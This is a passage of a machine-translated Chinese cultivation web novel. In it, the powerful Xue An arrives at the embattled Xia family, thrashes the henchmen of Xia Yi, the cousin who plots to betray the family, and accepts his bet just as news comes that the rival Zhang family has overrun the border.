    Xue An nodded slightly, and then raised a faint smile at the corner of his mouth, "Very well, if that''s the case, then I will follow you to see the excitement!"


    Xia Qi was stunned. It wasn''t until a long time that she shuddered and regained consciousness, and then said in astonishment, "You...you agreed?"


    Xue An nodded, and said very relaxedly: "Yes! I am idle anyway, it is good to find something to do, and if my guess is true, these cultivators seem to be very useful to me. Help!"


    The last sentence was so small that Xia Qi did not hear it.


    In fact, she had already been dazzled by a burst of ecstasy at this moment, she didn''t care about it at all, just nodding her head with excitement.


    "Well, thank you for your help. Our Xia family will definitely not forget your kindness, and we will thank you again in the future!"


    Xue An waved his hand, "It''s too early to say this, so let''s watch it again!"


    "Yes, yes! Please forgive me for being a little too excited! Oh yes, my lord, it''s late, please rest first! I''m leaving now!"


    Xia Qi was so excited that she didn''t know what to say, even her back when she left became happy.


    As far as she is concerned, if she can bring a strong support like Xue An, this trip is not in vain.


    Xue An glanced at her back and then smiled slightly.


    For him, of course it wasn''t because of the so-called opportunity to enter Paradise Lost that Xia Qi promised to help.


    In fact, as long as he wants to, he can directly break into Paradise Lost now.


    But for one thing, he didn''t want to expose his goal prematurely. Secondly, it was Xue An who had a strong interest in the cultivators that Xia Qi said.


    After all, the Xia Family, who can be suppressed by physical strength alone, couldn''t raise his head, and such existence was a minority even among the heavens.


    In particular, one punch can severely wound a quasi-Daluo-level powerhouse, which is even more interesting.


    Because even a child among the heavens knows that physical cultivation is the most difficult one among the major cultivation systems.


    In fact, almost all physical training will be transferred to other systems after the repair is completed.


    It can be said that the body repairs that can really persist to the end without any impurities are rare.


    Except for the madman and the Xiu faction he founded...it seems like no one is so reckless!


    Xue An''s eyes showed nostalgia, and he thought of an old friend.


    But the problem is that this guy and his cultivator are far beyond the billions of light.


    And his cultivator has the same character as this guy, very arrogant.


    So it is impossible to work for a small family.


    Then the identities of these monks are worth pondering.


    At least among the heavens, there is a special ethnic group that cultivates purely by the power of the flesh.


    Thinking of this, Xue An couldn''t help laughing silently.


    at the same time.


    Xia Qi, who returned to her cabin, immediately ordered the middle-aged man: "I immediately sent an order to the family, saying that I had invited a master, and I will return to Wuwangya soon, so that they will be ready to meet him. Don''t neglect!"


    "Yes!" The middle-aged man was also a little excited, and immediately went down to prepare.


    Xia Qi sat on her bed, thinking about the whole incident carefully, and suddenly remembered Xue An''s question.


    Why do you invite me to your house before I show my strength?


    As soon as this sentence came to mind, Xia Qi''s face flushed to the base of her ears at a speed visible to the naked eye.


    Yes!


    Why did I invite him?


    It''s not that I want to hand over myself as soon as possible. In this case, even if the Xia family is subverted, I don''t need to be the plaything of the little boy of the Zhang family!


    At this point, Xia Qi''s mind suddenly showed a lot of inexplicable pictures. Not only her face, but her whole person was blushing.


    After the housekeeper came back, he didn''t leave.


    This naturally made the housekeeper stunned, but he didn''t dare to ask, but said in a deep voice: "Miss, the news has been sent out, but the family has not responded yet!"


    "Well, I know! It''s fine to inform them. As for whether to reply..., it doesn''t matter!" Speaking of this, a cold light appeared in Xia Qi''s eyes.


    The middle-aged housekeeper was hesitant to speak, and finally sighed slightly, "Miss, he shows the young master..."


    "Don''t tell him before me!" Xia Qi suddenly shouted sharply.


    "Miss, forgive me!" The middle-aged housekeeper hurriedly lowered his head.


    Xia Qi''s complexion became a little ugly, "Go on!"


    "Yes!"


    The middle-aged butler bowed and retired.


    Xia Qi''s face was full of ugly, and she whispered softly: "Cousin? Haha, I want to sell my sister. You are really my good cousin! But you want to surrender, I don''t want to! And At this moment, it is estimated that you are already arguing very hard!"


    Speaking of this, Xia Qi''s eyes showed a ruthless look.


    As Xia Qi expected.


    When the news that Xia Qi had recruited a top expert returned to the Xia family, it immediately caused an uproar.


    In the headquarters of the Xia family, a fierce quarrel broke out.


    Xia Yi said with a sneer: "Look at what my lovely cousin sent back? Tsk tsk, I unexpectedly encountered a great master on the road, and this super master still became the guest of our Xia family, why? My cousin thinks that the decision master is the Chinese cabbage in the field? How many can I pick up everywhere?"


    His words also drew a voice of sympathy but none of the elders spoke, including Xia Qi''s father, Xia Zheng, now the head of the Xia family.


    I saw him silently looking at the message in his hand, his eyes flickering, and he didn''t know what he was thinking.


    But he did not speak, but this Xia Yi did not stop.


    I saw him turning around to give a salute to Xia Zhengshen, "Uncle, I don''t think I can delay this any longer. I said before that in the face of the crushing strength of the Zhang family, any struggle is futile. Now they have offered relatively good terms, so it''s good to admit defeat directly!"


    "Give up?" Xia Zheng frowned slightly.


    Xia Yi sighed when he saw it, "Uncle, I know you don''t want it, I don''t want it, but it''s like this, we can''t help it!"


    "But Qi''er she..." The Great Elder on the side hesitated.


    Xia Yi sneered when he heard the words, "Elder, I can conclude now that my cousin definitely encountered a liar!"

 Chapter 1562： Get off the horse

    "You can''t say that, after all, Qi''er has cultivated since she was a child, she should still have this vision!" The great elder said hesitantly.


    Xia Yi sneered when he heard the words, "Elder, I admit that you are right. My cousin is also a little foresighted, but if you want to deal with the cultivators of Zhang Family, how can ordinary masters do it? of?"


    These words of Xia Yi left the great elder speechless, because what Xia Yi said was not wrong. During this period of time, the Xia family invited many masters, but none of them belonged to the cultivators of Zhang family. Enemy.


    "So I think that cousin Xia Qi may have been deceived by some ordinary masters. This will not help the problems we are facing now, and Zhang Jia has given a final time limit instead of precious The opportunity for this is wasted on illusory hopes. It is better to admit the reality and give in!"


    Xia Yi talked eloquently, and a lot of people nodded secretly with justified words.


    In fact, after this period of confrontation, due to the tremendous pressure, many people in the Xia family felt desperate, thinking that it would be better to surrender directly to the Zhang family instead of spending it like this.


    Among them, Xia Yi is the most joyful and positive representative figure.


    Although the elder felt unwilling, he had to admit that Xia Yi was right, so he turned his attention to Patriarch Xia Zheng.


    At this moment, the audience was also quiet, everyone wanted to see how the Patriarch would decide on this matter.


    Xia Zheng kept silently looking at the letterhead in his hand, until a long time later, he slowly closed the letterhead, and then said in an indifferent tone: "Everything has to wait for Qi''er to return before making a decision! As for surrender... ��It��s too early to talk about this!"


    As soon as these words came out, there was a slight commotion in the crowd, and Xia Yi''s expression changed even more, and he said, "Uncle, you..."


    Xia Zheng just waved his hand, "That''s it, the meeting is over!"


    After all, he stood up and left without regard to the people''s looks.


    After he left, the remaining elders looked at each other, and finally couldn''t help but shook their heads and sighed, and then they all got up and left.


    Soon, most of the people in the room left, only Xia Yi and his **** supporters did not leave.


    "Brother Yi, it seems that the Patriarch still has illusions about Xia Qi and doesn''t plan to surrender now. What should we do next?" someone asked anxiously.


    "Yeah! Young Master Zhang said that if the Xia Family we can seduce now surrenders, he will give us a generous return. Now things have suddenly changed, how should we explain to Young Master Zhang? "A man next to him said with a depressed face.


    But as soon as his voice fell, Xia Yi slapped his hand and slapped the person several feet away. After landing, half of his face was almost shattered.


    "Idiot, can these words be said casually? Even if this is our people, if the wall has ears and other people know about it, what should we do?" Xia Yi scolded angrily.


    "Yes yes yes! Brother Yi, I know it was wrong!" The beaten man nodded and bowed, apologizing again and again.


    Xia Yi was still irritated, pacing back and forth in the room.


    As the man said, in order to obtain greater benefits, Xia Yi had already taken refuge in the Zhang family and became the **** of Zhang Yinchi.


    And in order to show off in front of the new master, that''s why he spared no effort to make the Xia Family surrender as soon as possible.


    Originally, he was about to succeed, but who would have thought that Xia Qi would get in at a critical moment, causing things to fall apart in the end.


    How can this not make Xia Yi full of anger.


    "Xia Qi, you little **** actually did my good deeds. I should have tied you up and sent to Zhang''s family. Anyway, Young Master Zhang is also very interested in you!" Xia Yi stopped abruptly. He muttered softly, his face was full of distorted hatred.


    Nobody else dared to say anything, stood by with their hands hanging down, not even raising their heads.


    Because they all know the temper of this young master Xia Yi, Qiu Zhu must be lighter than that. Anyway, no one who offends him will end well.


    But the curse and curse at the moment obviously can''t solve any problems. After muttering a few times, Xia Yi''s face gradually returned to calm, and the corners of her mouth raised a cold smile.


    "Xia Qi, didn''t you mean that you found a great master? Well, then I have to see how tall the master you are looking for!"


    Thinking of this, Xia Yi said in a gloomy tone: "The order is passed down, and the movement of the dock is closely monitored. Once Xia Qi returns, I will report immediately!"


    "Yes!"


    Someone took the order, and the man who had been fanned out by Xia Yi came up at this moment, and said flatly, "Brother Yi, are we going to give Xia Qi and the others a good show?"


    Xia Yi squinted at him, "I can''t tell, are you smart!"


    This person hurriedly said with a smile: "Where is there, of course you can''t keep up with Brother Yi..."


    Before the words were finished, there was another clear slap in the face. This man was slapped again several feet away, the difference is that the other half of his face was slapped this time.


    Xia Yi looked at this dear man whose face was gradually swollen into a pig''s head, and said in a cold voice: "Since you know you can''t keep up with me, why do you still talk such nonsense? Are you smart?"


    "Yes, yes!" The dear fellow panicked and apologized again and again.


    "Huh?" Xia Yi raised an eyebrow.


    This dear man was almost crying at the moment. He didn''t expect that his **** was slapped on the horse''s leg, so he shook his head quickly and said, "Ah, no, I mean, how can I be smarter than you?"


    "Huh! This is almost the same!" Xia Yi snorted coldly from his nostrils Remember, no matter what I say in the future, no one can answer casually, understand? "


    "Understood!" everyone responded.


    Xia Yi nodded in satisfaction, then turned and left.


    Of course, this disturbance in the Xia family is unknown to the outside world.


    In fact, as the opening period of Paradise Lost was approaching, the entire Wuwang Cliff, and even the entire city on the edge of darkness, began to become surging.


    The various forces are intrigue and intrigue, just to allow their own people to enter the Paradise Lost smoothly.


    After all, there is the core of the entire Dark Territory, and it is also the key to the struggle between the various forces.


    Because only if there is a backstage in Paradise Lost, then this force can develop significantly.


    In this case, the protracted tug-of-war between the Zhang family and the Xia family seemed less noticeable.


    It was in this situation that the flying boat finally passed through the vast dark sea and appeared on the wharf of Wuwang Cliff.

 Chapter 1563： Humiliation

    As a passenger in the first-class cabin, he also used his own power to slaughter the dragon, saving the lives of a ship.


    Xue An received the highest courtesy, and the captain, chief mate and others personally sent Xue An off the flying boat, and then left after repeated thanks.


    As for the other passengers, they also expressed their gratitude to Xue An.


    But then there was a very embarrassing situation.


    Xia Qi stood on the square in front of the wharf with a green face, and fire was about to burst out of her eyes.


    Because she had notified the family in advance that she was about to return with a super master, and specifically asked for a grand reception.


    But now on the wharf square of Wuwangya, let alone the reception, there is no shadow of the Xia family at all.


    How can this not make Xia Qi angry.


    For these, Xue An was noncommittal, not thinking about it at all.


    But he didn''t care, but Xia Qi couldn''t care less.


    She took a deep breath and said apologetically to Xue An: "My lord, it seems that there was a small problem in my communication with the family that caused this situation, but you can rest assured that I will definitely Give you a reasonable explanation!"


    Xue An just smiled upon hearing this.


    At this time, the same angry butler finally contacted the Xia family, and after waiting for a while, a small flying car was late to arrive.


    But there was only an ordinary servant of the Xia family above Fei, and no one else followed.


    This couldn''t help making Xia Qi''s complexion more ugly, but she forced herself to bear it and smiled at Xue An apologetically.


    "My lord, I can only wrong you first!"


    Xue An nodded, "Okay!"


    The group of people got on the fly, then soared into the air and flew to the headquarters of the Xia family.


    The previous Xia family was considered to be second to none in Wuwangya, occupying as much territory as a small city.


    However, during the confrontation with the Zhang family during this period, the Xia family was suppressed and couldn''t raise its head, lost a large area, and even lost its previous headquarters. Now it can only be shrunk in a corner, barely supporting it. Did not fall completely.


    But the skinny camel is bigger than the horse. Even in this situation, the headquarters of the Xia family is still magnificent and majestic.


    But today''s situation is different.


    Not far from the door, a group of people were gathered together and whispered.


    "come yet?"


    "It should be soon. From the dock to this place, if you sit on the fly, you will have at most a stick of incense!"


    "Brother Yi said, we must be prepared to teach this master who doesn''t know where to jump out a lifetime lesson!"


    "Don''t worry! I will not disappoint Brother Yi!"


    At this moment, someone suddenly whispered.


    "Come here! Get ready!"


    Everyone lifted their heads and looked into the air.


    really.


    I saw a flying wing flying straight from the sky, and in an instant, the flying wing came to the sky, and then slowly landed.


    The group winked at each other, and then greeted them.


    Xia Qi was the first to notice the strangeness, especially when she saw these people walking forward, she was taken aback for a while, and then an angry expression appeared on her face.


    "Go take a look, what do these guys want to do?" Xia Qi whispered.


    "Yes!" The middle-aged butler immediately got off the fly and shouted at these people in a deep voice.


    "What are you doing?"


    Of course, these people all recognize Xia Qi''s personal butler, but as Xia Yi''s subordinates, of course they are not afraid.


    Therefore, after hearing the butler''s question, the leader of these people smiled.


    "My housekeeper, didn''t we hear that the young lady came back a long distance, so we came here to welcome you!"


    Of course the housekeeper would not believe these words, so he sneered: "What are you guys worthy of welcoming the young lady''s return? Why don''t you get out?"


    These words are very heavy, at least the faces of the leading people have changed.


    Then I listened to the gloomy words of the previous speaker: "My housekeeper, don''t speak so badly! We are here on behalf of Master Biao!"


    "Yes, we came here by the order of Brother Yi!"


    These people began to clamor.


    At this moment, Xia Qi also stepped off Feiyan, coldly shouted: "On behalf of Xia Yi, come to meet me? Ha ha, no need, you go back and tell Xia Yi, if you want to meet me, please let him come by himself! What''s the matter with the dog?"


    In fact, because of the current difficulties the Xia family is facing, the contradictions within the Xia family have been completely intensified.


    Before Xia Qi and Xia Yi were at odds inside, at least they maintained a fragile balance on the surface.


    But now even this fragile balance between the two sides is gone, so Xia Qi''s words are very rude.


    But these people dare not refute.


    Because no matter what, Xia Qi is the eldest lady of the Xia family. Of course, her status is not comparable to them.


    What''s more, their goal this time is not Xia Qi.


    At the same time, Xue An also got off the fly.


    When he appeared in the sight of everyone, all the people in this group were bright.


    Because this face is so strange, they have never seen it before.


    I think this should be the guy that Brother Yi said to deal with.


    So these people winked at each other and then laughed.


    "Miss, our brother Yi is very busy now, so we don''t have time to come over to meet you, but he can say that recently bandits and scammers are rampant, especially many people use the name of masters to bluff and deceive, you must be careful! "


    "You..." Xia Qi was furious and was about to attack.


    But these people obviously ignored her meaning, and instead aimed all the spears at Xue An.


    "Boy, what do you do?"


    "Yes, you don''t look like a good person like this. Say, what do you want to do in our Xia family?"


    Without exception, these Xia Yi''s subordinates are all people with cultivation skills.


    And what I usually do best is fighting in groups.


    As for such rants and bluffs, they are even more familiar with them.


    And while talking, these people surrounded Xue An with a calm expression.


    The situation suddenly became tense.


    Xia Qi was going crazy.


    No one is greeted. What is this going to do? Do you bully less?


    So she will have a seizure.


    But at this moment, Xue An smiled at her.


    "These guys... do you want to live or die?"


    Xia Qi was taken aback and didn''t know how to respond to this question.


    But these guys were all anxious when they heard this.


    "What? Good boy, you dare to talk to me like this!"


    "Beat him! Let him know how great it is!"


    There is no excuse for this group of people to do something, so after hearing what Xue An said, the group of people rushed to to attack Xue An.


    As I said before, these people are usually best at fighting in groups, so they cooperate very well.


    Regardless of whether the individual cultivation base is not high, but once united, the strength is enough to force the general quasi-Daluo level powerhouse back.


    This is also the reason why Xia Yi let them get ahead.


    Xia Qi was a little anxious, "No..."


    She wanted to stop this because she was afraid that Xue An would be injured again without preparation.


    But the word was just exited, but Xue An, who was surrounded by Tuan Tuan, stomped his foot abruptly.


    This foot made the earth shake.


    Immediately after Xue An raised his fist, he blasted out, and directly confronted the rushing people.


    Boom!


    After a loud bang, looking at these men who were already rushing aggressively, they were like a kite with a broken line. They were directly blasted into the air and then screamed and scattered all over the ground.

 Chapter 1564： Physically disabled

    Just when the flying flies of Xia Qi and others just appeared, in a building near the door, Xia Yi stood in front of the window, watching the progress of things.


    Although those people are his own subordinates, Xia Yi himself is not suitable for showing up.


    After all, it is my cousin, even if there are more contradictions between each other, but at least on the surface it cannot be too ugly.


    That''s why he will appear here to observe the situation.


    Everything went smoothly at the beginning, and the cynicism of his gang obviously made Xia Qi unbearable, and she fell into a rage.


    In response, Xia Yi showed a trace of pride.


    He just likes this feeling.


    The appearance of Xue An immediately made Xia Yi sneer.


    On strength Xia Yi is not the top of the younger generation of the Xia family, but he still has vision.


    Therefore, in his eyes, apart from a good appearance, this young man in white clothes can be described as unremarkable, and it has nothing to do with the so-called super master.


    Now his mental arithmetic has been put down for the most part.


    But at the same time, the look in Xia Qi''s eyes became a little strange.


    Although in his opinion his cousin must have been deceived, Xue An''s appearance and temperament gave him some ideas.


    Could this be your cousin''s favorite?


    Ok!


    It must be the case. I met a wild man outside, and then found an excuse to bring him back.


    Thinking of this, Xia Yi''s face couldn''t help showing an anger.


    What a shameless woman! When she was asked to associate with Zhang Shao, she was reluctant to live or die, but after going out, she brought a man back.


    This is clearly intentional!


    Thinking of this, Xia Yi couldn''t help but got up and wanted to go out and question it.


    But at this moment, Xue An blasted all his subordinates with a punch to the sky.


    At this time, Xia Yi had already walked outside the door, seeing that he was about to step across the sky to appear outside, but after seeing this scene, he froze in place.


    What...what?


    One punch blasted all his subordinates to the sky?


    How is this possible?


    Xia Yi''s eyes widened to the extreme in an instant, and he couldn''t believe it was true.


    But facts are facts, and they are not changed by human will at all.


    But seeing these guys who fell to the ground lying on the ground, all of them groaned miserably. Almost everyone had their bones broken, their faces covered with blood, and they looked miserable.


    At this moment, not only Xia Yi was stunned.


    Even Xia Qi was stupid and could only look at Xue An with a dull expression.


    But Xue An, who had done all of this, seemed to have done a trivial thing, slowly put down his fists, and smiled at Xia Qi.


    "These guys... are you going to kill?"


    Although the meaning of this sentence was murderous, the audience became extremely quiet as soon as the incomparably plain questioning came out.


    The group of people who were still moaning in pain immediately covered their mouths.


    I was afraid that I would make another noise, which would anger the Grandpa Killing God who didn''t know where to emerge.


    At the same time, these people all looked at Xia Qi with horror, their eyes full of pleading.


    Xia Qi was still in a daze, but the trace of reason remaining in her heart made her finally shook her head.


    "Also... forget it!"


    Xue An didn''t have any expression, just nodded slightly, "Okay!"


    After that, he lowered his head and smiled at the group of guys, "I will give you three breaths. If there are people lying here after three breaths, then the consequences are at your own risk. From now on, one..."


    Although Xue An was smiling, his smile fell in the eyes of these people at this moment, but it was extremely terrifying.


    Therefore, before he could finish speaking, these guys jumped up from the ground and fled like rabbits.


    Even those who had broken bones and severe injuries were no exception.


    I saw those who had broken their arms holding their arms, and those who ran away called a lively life.


    Those with a broken leg stood on their hands and ran with wind, and the speed was not inferior to the others.


    Even those with broken hands and feet did not sit and wait to die. They only saw these people twisting and rolling on the ground, and the speed was getting faster and faster, in the end even surpassing these normal people.


    The spine was broken by a huge force, and the unlucky person who was completely unconscious from the neck down was helpless for a while, and could only shout again and again.


    "Hey, brothers, you guys are taking me with you!"


    It is a pity that at this critical moment of life and death, all brotherhood has to stand aside.


    So even if he yelled and broke his throat, no one was willing to stop a bit.


    At this moment, Xue An yelled the second word, "Two!"


    Hearing this shout, the hapless man''s expression trembled, his eyes lit up suddenly, and his tongue stuck out.


    The tongue stretched out in an instant, supported the ground and turned over, and then dragged the hapless guy away quickly.


    This kind of brain-opening escape technique is simply eye-opening, even Xue An was slightly taken aback, and then shook his head chuckles.


    "Really... physically disabled and strong!"


    But no matter what, after just two breaths, the wounded who had just lay on the ground disappeared.


    Xue An turned his head and smiled at the dull Xia Qi, "Don''t you go in?"


    Xia Qi shook all over, only then recovered a little sober, then nodded, "Of course I have to go in!"


    Then she turned her head and shouted in a deep voice: "Open the middle door!"


    "Yes!" The middle-aged butler immediately responded, and personally rushed forward and pushed open the door that had been closed.


    Xia Qi took a deep breath, suppressed the excitement in her eyes, and said respectfully: "My lord, let''s go!"


    After all, she personally led the way, leading Xue An to the mansion.


    The guards in front of the door were so frightened by the scene just now, hiding in the corner tremblingly, not dare to say a word of nonsense.


    Xue An just smiled at this, and then stepped forward.


    Only when he crossed the gate threshold, he turned his head slightly and looked at the building not far away.


    At this moment, Xia Yi was standing in the shadow behind the door. When he saw Xue An''s gaze, he trembled.


    Because this look is terrifying Calm and full of waves, like the sea before the storm, giving people a sense of suffocation.


    But this look was fleeting, and then the corners of Xue An''s mouth slightly raised, revealing two white tiger teeth, smiled sensibly, and then turned his head away.


    Xia Yi let out a sigh of relief, only to realize that his back was soaked with cold sweat.


    It can be seen the power of the eyes just now.


    This couldn''t help making his complexion extremely gloomy, staring at the back of Xue An and his group.


    I didn''t expect that my cousin really found the treasure.


    But where is the strong man who popped out, why is he so young?


    But do you really think this is enough?


    In front of the great powers of the Zhang family, you still have to die!


    Thinking of this, Xia Yi''s eyes flashed with a fierce light mixed with fear.

 Chapter 1565： Make a bet!

    When Xue An followed Xia Qi into the Xia family mansion, what happened before the mansion gate also spread.


    In an instant, the entire Xia family was boiling over.


    "What? The eldest lady returned safely and brought back a great master?"


    "Yes, not only that, this young man also beat Young Master''s men before entering the door!"


    "Hi...To put it this way, maybe the Xia family really hopes to come back under the pressure of the Zhang family!"


    "Hehe, I think it''s horrible, but I just beat a few people, how can you compare with the top monks of Zhang Family?"


    "You can''t say that, who knows what the future development will be like?"


    In short, everything is said at a time!


    But the impact of this news was immediate.


    At least many elders who were still skeptical and wait-and-see about this matter before have become active at this moment.


    In this situation, as soon as Xue An and others entered the mansion, they were invited by the Presbyterian House.


    Soon, a formal invitation card was delivered to Xue An.


    Xue An lowered his head and glanced, his complexion was as usual, nothing unusual.


    Xia Qi couldn''t restrain the excitement in her heart, and whispered: "My lord, this is an invitation given to you by many elders of my Xia family. Please participate in the reception dinner for a while, are you going?"


    "Go! Of course, why not go?" Xue An smiled faintly.


    Xia Qi was determined, "Okay, then I will make arrangements now!"


    After that, Xia Qi turned and left happily.


    Xue An looked at her back, smiled slightly, and then looked thoughtfully at a place in the void.


    "Old friend, I don''t know how long I haven''t seen each other, how are you doing now?"


    at the same time.


    Xia Yi was pacing back and forth in the room full of anger.


    "These bastards, when they received my gift, they patted their chests and promised to stand on their side, but now that something happened, they can''t wait to turn to Xia Qi''s side. This is really unreasonable!"


    His gang was silent, and none of them dared to say anything.


    Until his anger was almost vented, someone cautiously said: "Brother Yi, what shall we do next?"


    Xia Yi stopped and said with a sneer: "What to do? Of course it''s cold sauce!"


    "Does this guy really think he can scare me with this strength? It''s so ridiculous, I don''t believe that he can continue to be so arrogant in front of Zhang Shao!"


    Speaking of this, he said in a deep voice: "Let the order go on, I will also attend the dinner tonight!"


    "Yes!"


    at dusk.


    The entire Xia Jiahua was lighted up, and the banquet hall was brightly lit.


    All the senior officials of the Xia family were present, all waiting for the feast tonight.


    Before Xia Qi and others arrived, Xia Yi led the crowd into the banquet hall.


    The atmosphere became a little awkward.


    The crowd was also slightly commotion.


    Xia Yi didn''t say a word, but just bowed to Patriarch Xia Zheng and many elders, and then stood aside and waited silently.


    Time passed by minute by minute.


    at last.


    Wait until the moon passes through the sky.


    There was a commotion at the entrance of the banquet hall, and then Xia Qi led the people in.


    After seeing her, many elders changed slightly, and some even stood up and waited.


    Immediately afterwards, but seeing Xia Qi standing aside, she seemed to be waiting for something


    Then I saw a young man in white stepping into the court.


    When he saw him walking in, the eyes of the audience instantly focused on him.


    Especially Xia Yi, his eyes were about to breathe fire.


    Xue An was unaware of these gazes, and walked into the field as usual.


    At this time, Xia Qi greeted her father, Xia Zhengshen, the head of the Xia family.


    "Father, the child has fulfilled his mission and has returned!"


    Guanghua flickered in Xia Zheng''s eyes, and then nodded, "Very well, you have worked so **** this journey!"


    With that said, Xia Zheng turned his attention to Xue An.


    "This must be what Qi''er said is a great master, but I don''t know who the name and name are, and where does it come from?"


    The scene quieted down instantly, and everyone was waiting for Xue An''s answer.


    But seeing Xue An smiled slightly, "My name is Xue An, as for the teacher...I don''t have a teacher!"


    There was a low uproar in the audience.


    No teacher?


    Many people looked at each other and saw the doubts in each other''s eyes.


    Haven''t heard of anyone who said that he has no teacher!


    At this time, Xia Yi''s courage became much stronger, and he even sneered when he heard this.


    "It''s a joke, how can anyone in the world be taught? I think there is some hidden secret!"


    Xue An raised his eyes and glanced at Xia Yi when he heard the words. He ignored his weird questioning and smiled instead.


    "Of course there is no secret, but if you have to ask my ancestors, then I can only say...I am my ancestors!"


    boom!


    The audience was in an uproar.


    Many people are surprised.


    Xia Yi''s complexion changed even more, and then a touch of joy appeared in his eyes, and he couldn''t wait to say to Xia Zheng.


    "Uncle, this person is evasive. Obviously he is a good person. I don''t think this matter should be moved. It is better to expel this person!"


    Xia Zheng was silent.


    But Xia Qi exploded completely after hearing this, "Xia Yi, what do you mean by this? Co-author, are you suspicious of my friend?"


    Xia Yi sneered, "Yes, I''m just wondering, what can you do?"


    Xia Qi''s complexion changed, and her face was frosty, she was about to attack.


    But at this moment, Xue An waved his hand, signaled Xia Qi not to speak, and then looked at Xia Yi with a smile.


    "Are you the one who blocked me before the door?"


    Xia Yi''s complexion changed slightly, but still calmly said, "So what?"


    Xue An shook his head, "Of course not so much, but I just want to laugh!"


    "Want to laugh?"


    "Yes!" Xue An said earnestly even his subordinates are a bunch of wine pouches and rice bags, you can imagine what you are! "


    "You..." Xia Yi''s expression changed, but immediately calmed down, and said gloomily: "The surname is Xue, you seem to have confidence in yourself!"


    Xue An shrugged, "You are wrong, not very confident, but very confident!"


    "Hehe, what a boast!" Xia Yi sneered a few times, and then said: "If this is the case, you dare to make a bet with me?"


    "Bet? What kind of bet?" Xue An asked with interest.


    "It''s very simple, aren''t you very confident? Then if the monk of the Zhang family can win, then I can kneel and apologize to you, and vice versa, can you bet?"


    These words changed Xia Qi''s face.


    Because these words are simply too ridiculous.


    Fortunately, she didn''t wait for her to refuse, but when she saw Xue An nodded without hesitation, "Okay! Anyway, I am idle and I am idle, just to play with you!"

 Chapter 1566： Dont rush away!

    As soon as he said this, the audience fell into silence for an instant.


    Many people''s eyes gradually widened, and they looked at Xue An with surprise.


    Even Xia Zheng and many elders of the Xia family were no exception, and they were all surprised by Xue An''s words.


    Xia Yi was also stunned, because he didn''t expect Xue An to agree so readily, which made the many rhetoric he had prepared instantly lost its usefulness.


    But soon, a smug sneer appeared at the corner of Xia Yi''s mouth.


    "Good! Refreshing enough! No matter your strength, but at least this courage is enough to be admirable!"


    Although he was more polite, the complacency and ridicule contained in his words were almost overflowing.


    Compared with Xia Yi''s pride, Xia Qi''s complexion was extremely ugly.


    She never expected that this gentle-looking boy in white would act so decisively.


    Without even discussing with myself, he agreed directly.


    This is obviously Xia Yi''s radical method!


    Xia Qi cried secretly in her heart, opened her mouth to say something, but finally closed her mouth helplessly.


    Because now it is too late to say anything.


    In the face of all this, Xue An only smiled, the brilliance in his eyes floated, and he said nothing.


    At this time, Xia Yi stood up and shook his hands at Xia Zheng and the others, "Uncle, the elders, since everyone has just heard what this friend said, then I don��t have to say anything. I will step back and wait. Let''s see you in two days!"


    After that, he turned around and left.


    But at this moment, Xue An suddenly said indifferently: "Don''t go in such a hurry!"


    Ok?


    When everyone heard the words, they were taken aback.


    what happened?


    What is he going to do?


    Xia Yi''s expression was even more stagnant, but Xuanyan sneered and said, "What? Want to regret it? Haha, it''s a pity that it''s too late!"


    "Repent?" Xue An smiled and shook his head, "No, you are wrong, I just think time is precious, so I don''t need to wait a few days to see you later!"


    Xia Yi looked cold, "What do you mean by this?"


    Xue An ignored him, instead turning his head to look at Xia Zheng who was aside, "Patriarch Xia, I want to ask, how far is this place from the front line that borders the Zhang family?"


    Although I don''t know what Xue An asked for, Xia Zheng replied subconsciously: "About two thousand miles!"


    "That''s it!" Xue An nodded, "then it should be right!"


    Xia Yi couldn''t help it anymore, and shouted coldly, "What the **** are you doing? Suddenly, what does it mean to ask how far this place is from the front line?"


    Xue An smiled faintly, "Want to know?"


    Xia Yi''s face was sinking, and he let out a cold snort.


    "Don''t worry, it should be here soon!" As he said, Xue An turned his head and looked at the window.


    The audience also quieted down, and everyone''s eyes were cast out of the window.


    But at this moment, the stars in the night sky outside the window were shining, nothing unusual.


    Xia Yi waited patiently for a while, seeing that everything was still business as usual, she couldn''t help showing a grinning smile.


    "It''s a mystery, I don''t know what to say!"


    After that, he turned around and left.


    But at this moment, a red light suddenly appeared in the distant sky, and then this red light flew straight at a rapid speed, and flew to the sky above the Xia family in the blink of an eye. After circling for a while, Planted on the open space in front of the banquet hall.


    After landing, Guanghua dissipated, and people could see the situation inside.


    What kind of red light is this? It is clearly a monk covered in blood!


    After seeing this monk, Xia Zheng suddenly shook, and immediately exclaimed: "Xia Feng? Why are you? Why are you suddenly coming back from the front? And what''s the matter with your injuries?"


    A series of surprise questions also shocked the audience.


    That''s right.


    It was Xia Feng, a general in the Xia family who appeared on the court at this moment.


    Although he is young, he has always been responsible for guarding the front line because of his strength.


    After hearing Xia Zheng''s question, Xia Feng opened his mouth, but tears came from his eyes first, and the dry blood stains on his face rushed out of the two trenches before he tremblingly spoke.


    "It''s over! It''s all over!"


    "What''s all over? Xia Feng, you can make it clear!" The Great Elder rushed to Xia Feng in shock and fear, and couldn''t wait to ask.


    Xia Feng burst into tears, "Just now, the Zhang family suddenly launched a large army to attack the border. I and the others desperately resisted, but this time the Zhang family sent a full ten powerful monks, underwhelmingly outnumbered... the defense line collapsed instantly!


    As soon as these words came out, everyone in the room was cold.


    Xia Zheng shook his whole body and almost fell to the ground, but still calmly asked: "What did you say? The Zhang family actually sent ten powerful monks this time, didn''t they only have three in total before?"


    "What I said is true! This time Zhang Family obviously got reinforcements from these powerful monks, so..."


    "So what?" the elder trembling asked.


    "So at this moment the border has been lost. The soldiers of the Xia family were either killed or captured. I resisted desperately, and only then did I escaped at the right time to send a letter to everyone!"


    No one speaks.


    In the presence, almost everyone in the Xia family stood there pale.


    As the border fell, the Zhang family dispatched ten powerful monks, who were leading a massive invasion.


    Everyone knows what this means.


    Because of this, everyone''s hearts are filled with despair.


    Xia Feng trembled and said: "Patriarch, let''s make a decision as soon as possible. The powerful cultivators of the Zhang family are simply too powerful. With our current strength, they are not their opponents at all!"


    Xia Zheng''s mouth was closed tightly, her face pale, but a complicated light appeared in her eyes.


    If anyone in the audience is the least anxious, it should belong to this Xia Yi.


    Even after he heard the news, he was still happy.


    But on the surface, he naturally didn''t dare to show it, but said to Xia Zheng with a sad face.


    "Yeah, uncle Xia Feng is right. We are not able to deal with the three monks with our current strength. What''s more, now Zhang Family has ten powerful monks? So we should give in as soon as possible. Right, otherwise our Xia family might be in danger of overthrowing!"


    Hearing Xia Yi''s words, Xia Zheng was silent for a moment, and finally slowly lowered his head.


    Although he was full of unwillingness, he had to admit that what Xia Yi said really made sense.


